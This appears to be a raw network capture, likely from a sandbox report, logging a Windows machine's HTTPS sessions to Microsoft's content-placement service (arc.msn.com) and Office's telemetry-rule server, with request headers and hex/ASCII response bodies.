{"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49727	20.74.19.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:19 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101413Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=04ad0dca300e4eb8870cdc23072504de&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-338387&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXEGD5wQT41Dgecj+gV/IHI/acbcSkOi6l3XO7M6oF0Y5Mz++MZj8RJ82JqatEFdgROSNt+d6o1QrBOa3zuDqyiKAdTJM5O2LTIabasniSG0ZZhuZA1C7umy2pB+nf5tyLqZ/OpXiOJMb3LSPLWRpNJCkvx7DVGytSjWPkW4q3yrC3tgJ0UIS7eS/SgEEJZJXYyf/5fFH24plv9HBM3Wzyuq01X/UUItGxJ9mhAPnSzeQG+Iwg5+5Y15V7nWAQl5MzZmds9hAtVVcV+lkXfEf70NwEGLfbmjtaTIIbVH2wHRsIJADWseGiwg/4Bhdmb4KaFKtxxJ4cIZBwq76wCvSVUQZgAAEOF1787ECf7zJj01hydYNYawAVLV5IG14T04q+fNaQPcdplKq6tQ0xVgK9yKao2GNP+18HYfJ+8NTLSNN6s6x6glo2eIdGuDNddWLZe7OsmjhogFuwJtgg82Sw1Y4Lo3xxe0ucvQNDTXg6yiWkm1CNUCAzm3tKU63j2pFbHZH45WT1vPxwuo7CApONN+bfqKXJQhs9GY+iirSAz9JEwqmRjCztkS7KEO5hY4aUIB7TioIM3Wc+cVFqHQPapiuDDB1kjUAvwOj6ilYnMdUbe5dWGidYudbUSJFV5p+1P8gX5GhtdF38ELx0wsuIXNLA7psyP38Al4RjgGdk1dS/ych/Lesg6aj1ZwILd8lTixAEMlX7GXAvxb6DUk0V+Hkdt1qyehRexnGIqGFMhVfjWI6/2tEIuLYLt5FDqwrdA/UL3sFsiQPvmZ3hKxhcRNbbnfGqba4m4t0gxzpwDdGSi1QmXURvdfaPrf2UQUxnMHozl9KB4oUrm4mzgWuDdI+2r5qdmqB417QROcxka5BPKsiybviTI1V/F6rVJ9Xf7g2kFTNYI9wCdmY8jwE+WJQeErt4BeOBrngt3U6xh5wPk7zLNetdcB&p= Cache-Control: no-cache MS-CV: 6wxuFIv5xEGgLuYt.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 10:14:20 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23768 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: mveK7AGdQfLuuZZVHh2IgyaM4c3LnwNMH81aiPHsbx6Z1zIxN3iMMG2z3k+lZTP8wKFxsheywL5i0LHz7PD2rTAbgejl6mIPqDam5Eta0fxLGZaDDDKZ/VS90lRXz7+oMcgIrHlAo/dgcn6yyTGUrJWJxYOVMSTu29S5YIFh01xtjJftsHIEBTbZk+fGTIKKwddoMoDO08WsOwBmLNaN/Gs3Y7GXahlujnvkfuCQSLccPVHe28yhGXpxSlymmCNojRQyRCE/BiOMiRuD1VqjI+ftaPG34FGQLRpiWlF8n2NPcf0ilGfBbP2G1Wo5988Du/dtHIQMA+/kfSG5BgfB3g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:20 GMT Connection: close
2024-11-27 10:14:20 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-27 10:14:20 UTC	8199	IN	Data Raw: 3d 6d 76 5c 5c 75 30 30 32 36 72 65 71 76 65 72 3d 31 2e 30 5c 5c 75 30 30 32 36 54 49 4d 45 3d 7b 44 41 54 45 54 49 4d 45 7d 5c 5c 75 30 30 32 36 61 64 55 6e 69 74 49 64 3d 31 31 37 33 30 35 39 38 5c 5c 75 30 30 32 36 6c 6f 63 61 6c 49 64 3d 77 3a 30 36 38 44 34 38 32 44 2d 38 46 33 42 2d 37 38 41 45 2d 44 41 41 30 2d 30 43 30 38 42 38 46 46 32 41 45 36 5c 5c 75 30 30 32 36 64 65 76 69 63 65 49 64 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 51 34 4d 44 41 30 4d 44 4d 7a 4d Data Ascii: =mv\\u0026reqver=1.0\\u0026TIME={DATETIME}\\u0026adUnitId=11730598\\u0026localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6\\u0026deviceId=6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODQ4MDA0MDMzM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49728	20.74.19.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:19 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101413Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3fe4a874fcd542689e51ae44beeffed6&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-280815&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUrcI4V7J+7x3Dx6p5/vW5Szm8WopEaQNehptp02OIzD0IC7D3e2+wXq6yvFa5Qq4mGQ77MqkmBq/MipuHZuA4if2KbgXvGMyPbAWGnW8Nisw+QCJc0IRf8cnbIvDaBXYshMmR0nijw3RoCP/+qAKKHAQllcL4vOrEc85xyV8KuwtkQWA5dbvtuoc36DyAG5QJt/XqhON5QlO57jUrU6y2oJg+0vYvi4e6+xNxrr/JrLOJtqAuwB+D+r5LwcAslaMovS/GFQp9HNcNU0iSK2mtM09nWAi4NiFI8p9WR8sTpHmBr8F+UExd2E0PxdDa5LSEx6UiB3hrT4jtNrIcadq5oQZgAAEKkSpT9aWgfhvqnF1BWQ9VWwAeQK9f5+3AMy/FZblC2U7SFNGB0+zFfJaOGUEYsa685onfY84z/26ZhruwPzBXuEuEb9IoQYBUEgfcwDEnXaORKjUeqlFyvdu/CLbdNsKtr+Kdx/zbJ8Zr57djpvQLwByu1lisJgo8F1Bz3jdyjX6UvhxIrnU4VpclIkjxUvKmXUfEzaW2RuRKZrNI4FG4+d321m2ljvBh4DeHvxAfRNbE0eUpJ9QYH9weckXF5qJdcwR7qMv37njMTTZXtaMy555de3G79VBSyFnza5Bti5YUWX1mQa39LCzxJQ+s8H5EK3eR++G0wbzgtC26AzlGsM7ItfRDf8KDaDgOmr2jaQbqtYuM0ut4JJI3vAaOQk0Xnky/+S86IY8XcRuesZER1VNGVAa6C6KgGqOiwOJSmSFiU/Mgh9EK24yg0NQ3NbA+iFYzo0pv0Jf2kWas4y4sAsMFoaCWtpqS0mhR4wyEobuT1If4unxXZyfLFQhybF95RHUsfFA9snqdDz5XauMnYhDZkp9zwKyH1UQYASlg/0WnQsz14cTjG5vsDCF0GqIcjB+3ES4DlaDFJHMkXMBUqq99cB&p= Cache-Control: no-cache MS-CV: 6wxuFIv5xEGgLuYt.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 10:14:20 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: SQz9PsOvB8L4QQnLSGjg4DwZSE3ye9677V9LGDQnCb0Q2YKyVxljps9Trmhe/wAWCkwstH+JUkQufiE3rSgok+LAZL1HFjnxVigjXcUk0lwGT5TQZ/Q6tilvSnrrsNAnznRuS9ThGkxeVGJb+1PLs84ha/UiEIAczmwXJPOPWfuE5jgoG3zn5A3G5BGkRpCT9fgoMoO+Ow49kOwU+m7GfwRaCQxKDlSl+AUPlDVIELY+xSIKEUjOuSR9WZe9UiJt0PE43yG6C1uI85LUuN/0cgjPJEeB2RS/ooz/zFluvpR34PQ1px/FP/b+BedpXTPpAfVwaSAjncvKZFio4jodiA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:19 GMT Connection: close
2024-11-27 10:14:20 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101421Z-174f7845968ljs8phC1EWRe6en0000000wkg000000007a2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101421Z-174f78459688l8rvhC1EWRtzr000000009d00000000043fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101421Z-174f7845968l4kp6hC1EWRe8840000000x4g000000000qpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101421Z-174f7845968glpgnhC1EWR7uec0000000wzg000000003eb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101421Z-174f7845968jrjrxhC1EWRmmrs0000000wx0000000005hyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101423Z-174f7845968px8v7hC1EWR08ng0000000x100000000066es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
